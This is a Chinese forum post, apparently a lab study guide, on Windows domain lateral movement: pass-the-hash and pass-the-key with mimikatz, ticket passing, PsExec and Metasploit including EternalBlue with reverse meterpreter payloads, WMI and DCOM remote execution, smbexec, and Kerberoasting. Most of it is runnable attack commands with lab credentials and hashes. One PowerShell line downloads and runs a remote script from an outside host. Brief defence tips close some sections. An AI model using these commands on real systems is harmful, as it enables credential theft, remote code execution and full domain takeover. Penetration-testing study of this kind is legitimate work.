  • 从Windows Vista和Windows Server 2008 版本开始,Windows操作系统默认禁用LM Hash,因为在使用NTLM Hash进行身份认证时,不会使用明文口令,而是将明文口令通过系统API(例如LsaLogonUser)转换成散列值
  • 不过,攻击者在获得密码散列值之后,仍然可以使用哈希传递攻击来模拟用户进行认证

10.2 攻击

  • NTLM传递攻击
    • sekurlsa::pth /user:administrator /domain:ys.com /ntlm:7f8741d20acf651294920119444ddb67
    • image.png
  • 文件操作

AES-256密钥进行哈希传递(Pass the Key)

  • 前提:必须安装有KB2871997
  • mimikatz抓取AES-256密钥
    • privilege::debug
    • sekurlsa::ekeys
      • image.png
    • 目标机器执行即可获得最高权限
      • sekurlsa::pth /user:administrator /domain:ys.com /AES256:051fffef5fdd20c7793875780b59066c437705b1bb59af20c31d8c6d7c5e24a7

10.3 KB2871997

  • 该补丁进程通过本地管理员权限与远程计算机连接,无法通过本地管理员对远程机器执行PsExec,WMI,smbexec,schtasks,at,及无法访问远程主机的共享文件夹
  • 但是SID与500的Administrator账户还能使用哈希传递
  • SID值是唯一的即使修改用户名,SID的值也不会受到影响

11. 票据传递攻击分析及防范

  • 想要使用哈希传递需要本地管理员权限,票据攻击不需要本地管理员权限就可以使用

11.1 Mimikatz进行票据传递

  • 导出内存中的票据
    • mmikatz "privilege::debug" "sekurlsa::tickets /export"
    • image.png
  • 清除内存中的票据
    • kerberos::purge
    • image.png
  • 将票据注入到内存
    • mimikatz.exe "kerberos::ptt" C:\票据路径
    • image.png

11.2 Kekeo进行票据传递

  • kekeo "gt::ask /user:administrator domain:ys.com /AES:051fffef5fdd20c7793875780b59066c437705b1bb59af20c31d8c6d7c5e24a7

攻击

  • kerberos::ptt TGT_administrator@HACKER.TESTLAB_krbtgt~hacker.testlab@HACKER.TESTLAB.kirbi

11.3 PsExec使用

  • 可以在远程计算机上执行命令,可以指定System权限

Windows

  • 攻击
    • PSeXEC.EXE -ACCEPTEULA \\192.168.91.127 -S CMD.EXE
  • 如果没有建立IPC连接
    • PsExec.exe -accepteula \\192.168.1.17 -s -u administrator -p Tl5201314-++- cmd.exe

关于PsExec

  • 执行远程命令时,创建服务,命令执行后删除服务
  • 可以直接获得System权限的交互SHELL

11.4 MSF中的PsExec

  1. use exploit\windows\smb\Psexec
  2. use exploit\windows\smb\Psexec_psh

后者免杀效果更好,是因为基于Powershell

  • 攻击
    • set rhost 192.168.91.127
    • set smbuser administrator
    • set smbpass Erqinrucom
    • set payload windows/x64/meterpreter/reverse_tcp
    • image.png
    • image.png
  • 攻击2
    • 配合下面永恒之蓝通过普通用户dump出管理hash然后登陆上域控,直接永恒之蓝域控有可能拿不到Shell
      • image.png
      • image.png
      • 使用kiwi_cmd 可以使用mimikatz的功能
    • set rhost 192.168.91.137
    • set smbuser administrator
    • set smbpass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

11.5 WMI使用

  • 将命令回显到文件
    • wmic /node:192.168.91.137 /user:administrator /password:"Erqinru.com" process call create "cmd.exe /c ipconfig > c:\ip.txt"
    • image.png
  • 读取文件内容
    • image.png

11.6 wmiexec.vbs

  • wmiexec.vbs通过调用VMI达到模拟PsExec的效果
  • cscript.exe //nologo wmiexec.vbs /shell 192.168.1.17 administrator Tl5201314-++-
  • 对于运行时间比较长的命令,需添加 -wait 500 或者更久,对于NC这种不用关闭的,使用 -persist参数

11.7 Ibvoke-WmiCommand

  • 范围:Server 08 以及 win7以上
  • 通过powershell来引用VMI
  1. IEX(New-Object Net.Webclient).DownloadString('http://39.xxx.xxx.210/powersploit/CodeExecution/Invoke-WmiCommand.ps1') // 下载脚本并导入系统
  2. $User = "域名\用户名" // 指定目标系统用户名
  3. $Password = ConvertTo-SecureString -String "文明密码" -AsPlainText -Force // 指定目标系统的密码
  4. $Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password // 将账号和密码整合起来,以便导入credential
  5. $Remote = Invoke-WmiCommand -Payload {要执行的命令} -Credential $Cred -ComputerName 目标IP
  6. $Remote.PayloadOutput // 将执行结果输出到屏幕上

11.8 Ivloke-WMIMethodps1

  1. $User="域名\用户名" // 指定目标系统用户名
  2. $Password=ConvertTo-SecureString -String "密码" -AsPlainText -Force // 指定目标系统密码
  3. $Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password // 将账号和密码整合起来,以便导入 Credential中
  4. Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "notepad.exe" -ComputerName "目标机IP" -Credential $Cred // 在远程系统中运行notepad.exe命令

11.9 永恒之蓝漏洞分析及防范

  • 利用服务:SMB,端口号:445 集合了MS17-010
    • image.png
  • 检测
    • use auxiliaryscanner/smb/smb_ms17-010
    • show options
    • set rhost 192.168.91.0/24
    • set threads 50
    • exploit
    • image.png
    • 结果
      • image.png
  • 攻击
    • use exploit/windows/smb/ms17_010_eternalbule
    • use 0
    • set rhosts 192.168.91.137
    • set payload windows/x4/meterpreter/reverse_tcp
    • image.png
    • hashdump
      • image.png
    • 直接是system权限

防御

  • 禁用SMB协议
  • 安装KB2919355
  • 阻止445端口的连接
  • 不要打开陌生文件,安装最近杀软,更新病毒库

11.10 SMBEXEC的使用

smbexec可以通过文件共享(admin、ipc)在远程系统中执行命令
smbexec.py

代理进内网后使用如下命令进行登录

  1. proxychains python3 smbexec.py hacker.testlab/testuser1:A1B2C3..@192.168.1.4

登录上域控

  1. proxychains python3 smbexec.py hacker.testlab/Administrator:Tl5201314-++-@192.168.1.17

11.10.1Linux 跨 Windows 远程执行命令

  1. proxychains git clone https://github.com/brav0hax/smbexec.git

  1. chmod +x install.sh && ./install.sh

输入1后回车

安装完成

在安装完成后,直接输入smbexec即可看到主菜单

一、System Enumeration列举系统重要信息

选修1—扫描

选项2-列举系统管理员用户

选项3-列举当前登录目标系统的用户

选项4-列举当前UAC状态

选项5-列举网络共享目录

选项6-用于在系统中搜寻敏感文件

如配置文件,密码信息,缓存文件等

等待很久

扫描结束

选项7-列举远程登录目标主机的用户

选项8-返回主菜单

二、Exploitation

选项1-直接生成一个msf payload并运行

这里失败了不知道是为什么

选项2-关闭UAC

选项3-打开UAC(用于复原)

选项4-执行一个powershell脚本

选项5-使用基于PsExec的方式获得目标的一个system权限的shell

均复现失败

11.11 DCOM的使用

  • 安装
    • 在powershell3.0版本存在Windows server2012可用
    • **Get-CimInstance win32_DCOMApplocation**
    • 在Windows7 和 Windows Server 2008 中可以用GET-WmiObject 替代Get-Cimlnstance
    • Get-WmiObject -Namespace ROOT\CIMV2 -class win32_DCOMApplication
  • 介绍
    • $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
    • 令枚举这个COM对象中的不同方法和属性
      • $com.Document.ActiveView | Get-Member
    • 发现ExecuteShellCommand可以执行程序
      • 执行计算器
    • 除了 MMC20.Application 还有 ShellWindows、ShellBrowserWindow、Excel.Application 以及 Outlook.Application 等等可以被我们利用
    • 使用权限为admin
  • 使用
    • 前提:关闭防火墙,执行命令时本地管理权限账号
    • 安装DCOM
      • Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication
    • 使用
      • 调用MMC20.Application远程执行命令
  1. $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.1.17"))
  2. $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")
  3. //或者
  4. [Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.1.17")).Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")
  • 调用ShellWindows远程执行命令
  1. $com=[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.7.7"))
  2. $com.item().Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
  3. //或者
  4. [Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.1.17")).item().Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

12 SPN在域环境中的应用

  • SPN简介
    • SPN全称:Service Principal Name,服务主体名称,简单来讲就是服务的名称
    • 对于内置账号,SPN会自动注册,而对于域内账号,运行服务时就需要手动注册SPN,因为域环境中的每一台服务器都需要在Kerberos注册SPN
  • 访问流程
    • 当用户需要访问mssql时,系统会以当前身份去向域控查询SPN为”MSSQL”的纪录
    • 找到SPN之后,该用户再次跟KDC通信,讲KDC发放的TGT作为凭据发送给KDC,并将需要访问的SPN发送给KDC
    • KDC中的身份验证服务对TGT进行解密,确认无误后,由TGS将一张允许访问该SPN所对应的服务的票据和该SPN所对应的服务的地址发送给用户
    • 用户确认无误后即可访问MSSQL服务
  • 格式
    • SPN命令格式
  1. SPN = serviclass "/" hostname [":"port] ["/" servername]
  2. MSSQLSvc /computer1.hacker.testlab:1433
  3. ExchangeMDB/EXCAS01.hacker.testlab
  4. TERMSERV/EXCAS01.hacker.testlab
  5. WSMAN/EXCAS01.hacker.testlab

参数详解

  1. serviclass:组件名称
  2. hostname:计算机的FQDN(全限定域名,包含域名和主机名)
  3. port:以冒号分隔,表示该服务监听的端口号
  4. servername:一个字符串,可以是服务的专有名称,objectGuidInternet主机名、全限定域名

12.1 SPN扫描利用

  • 计算机在加入域之后,主SPN会自动添加到域的计算机账号中的Service Princpal Name属性中,在安装新的服务之后,对应的SPN也会记录在账号属性中
  • 在活动目录中扫描服务最优解就是SPN扫描,SPN扫描时通过请求特定的SPN类型的服务主体名称来查找服务,与网络端口扫描相比,SPN扫描并不需要连接网络中的每个IP地址来检查服务端口,所以并不会触发IPS,IDC等设备的规则而产生大量的警告日志
  • SPN查询时Kerberos票据行为的一部分,检测难度较大

自带查询

  • setspn -T domain -q */*
  • PowerShell-AD-Recon
  1. Import-module .\Discover-PSMSSQLServers
  2. Discover-PSMSSQLServers
  3. Import-module .\Discover-PSInterestingServices
  4. Discover-PSInterestingServices

13. Kerberoast攻击与防范

  • 介绍
    • Kerveroast时一种针对Kerberos协议的攻击方式
    • Kerberoast攻击时通过爆破TGS-REP实现,在TGS_REP的过程中用户将会收到由目标服务实例的NTLM hash加密生成的TGS(service ticket),加密算法为RC4-HMAC,如果获得这个TGS,我们可以尝试穷举口令,模拟加密过程,进行破解
    • Kerberoast攻击者会用普通用户在活动目录中将计算机服务账号的凭据提取出来,由于大部分是离线操作,能规避安全设备告警
  • 流程
    • 查询SPN,找到由价值的SPN,需要满足以下条件
      • 该SPN注册在域用户帐户(Users)下,域用户账户的权限很高
    • 请求TGS
    • 导出TGS
    • 暴力破解得到计算机服务账号的密码
  • 攻击
    • 注册SPN
      • 这里利用的是Mysql来进行攻击,所以要安装Mysql
    • 格式是:setspn -S 服务名/主机名.域名:端口 主机名
      • setspn -A mysql/mysql.ys.com:3306 win2008
    • 注册活动目录的域用户账户
      • setspn -S 服务名/主机名.域名:端口 域名前缀/域用户名
      • setspn -s Mysql/mysql.ys.com:3306 YS\administrator
      • 将用户添加到远程登陆
        • 提权后打开策略组,用MS14-058提权
          • **win64.exe amd**
          • **gpedit.msc**
        • 设置登陆路径
          • \计算机配置\Windows 设置\安全设置\本地策略\用户权限分配\作为服务登录
        • 修改kerberos加密协议
          • \计算机配置\Windows 设置\安全设置\本地策略\安全选项\网络安全:配置 Kerberos 允许的加密类型
          • 将加密方式设置为 RC4_HMAC_MD5

请求票据

传统方法
  • 请求单个TGS

Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MySQL/mysql.hacker.testlab:3306/testuser1"
一直报错
` + CategoryInfo : InvalidOperation: (:) [New-Object], MethodInvoca
tionException

  • FullyQualifiedErrorId : ConstructorInvokedThrowException,Microsoft.Power
    Shell.Commands.NewObjectCommand`
  • 请求所有TGS

Add-Type -AssemblyName System.IdentityModel setspn -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

mimikatz获取指定SPN的票据" class="reference-link">mimikatz获取指定SPN的票据

kerberos::ask /target:MySQL/mysql.hacker.testlab:3306


kerberos::list //列出票据

kerberos::purge //清除票据


kerberos::list /export //导出票据

爆破票据

  • Hashcat 工具
  • tgsrepcrack.py 脚本

防范

  • 确保服务账号密码为强密码(长度、随机性、定期修改)
  • 如果攻击者无法将默认的AES256_HMAC加密方式改为RC4_HMAC_MD5,就无法实验 tgsrepcrack.py来破解密码。
  • 攻击者可以通过嗅探的方法抓取Kerberos TGS票据。因此,如果强制实验AES256_HMAC方式对Kerberos票据进行加密,那么,即使攻击者获取了Kerberos票据,也无法将其破解,从而保证了活动目录的安全性。
  • 许多服务账户在内网中被分配了过高的权限,且密码强度较差。攻击者很可能通过破解票据的密码,从域用户权限提升到域管理员权限。因此,应该对服务账户的权限进行适当的配置,并提高密码的强度。
  • 在进行日志审计时,可以重点关注ID为4679(请求Kerberos服务票据)的时间。如果有过多的 4769 日志,应进一步检查系统中是否存在恶意行为
用户名金币积分时间理由
Track-魔方 4000.00 0 2023-07-25 13:01:04 深度:1300 普适:1000 可读性 200 稀缺 1000 平台唯一 500

打赏我,让我更有动力~

1 条回复   |  直到 2023-8-7 | 956 次浏览

ywq
发表于 2023-8-7

大佬带带

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.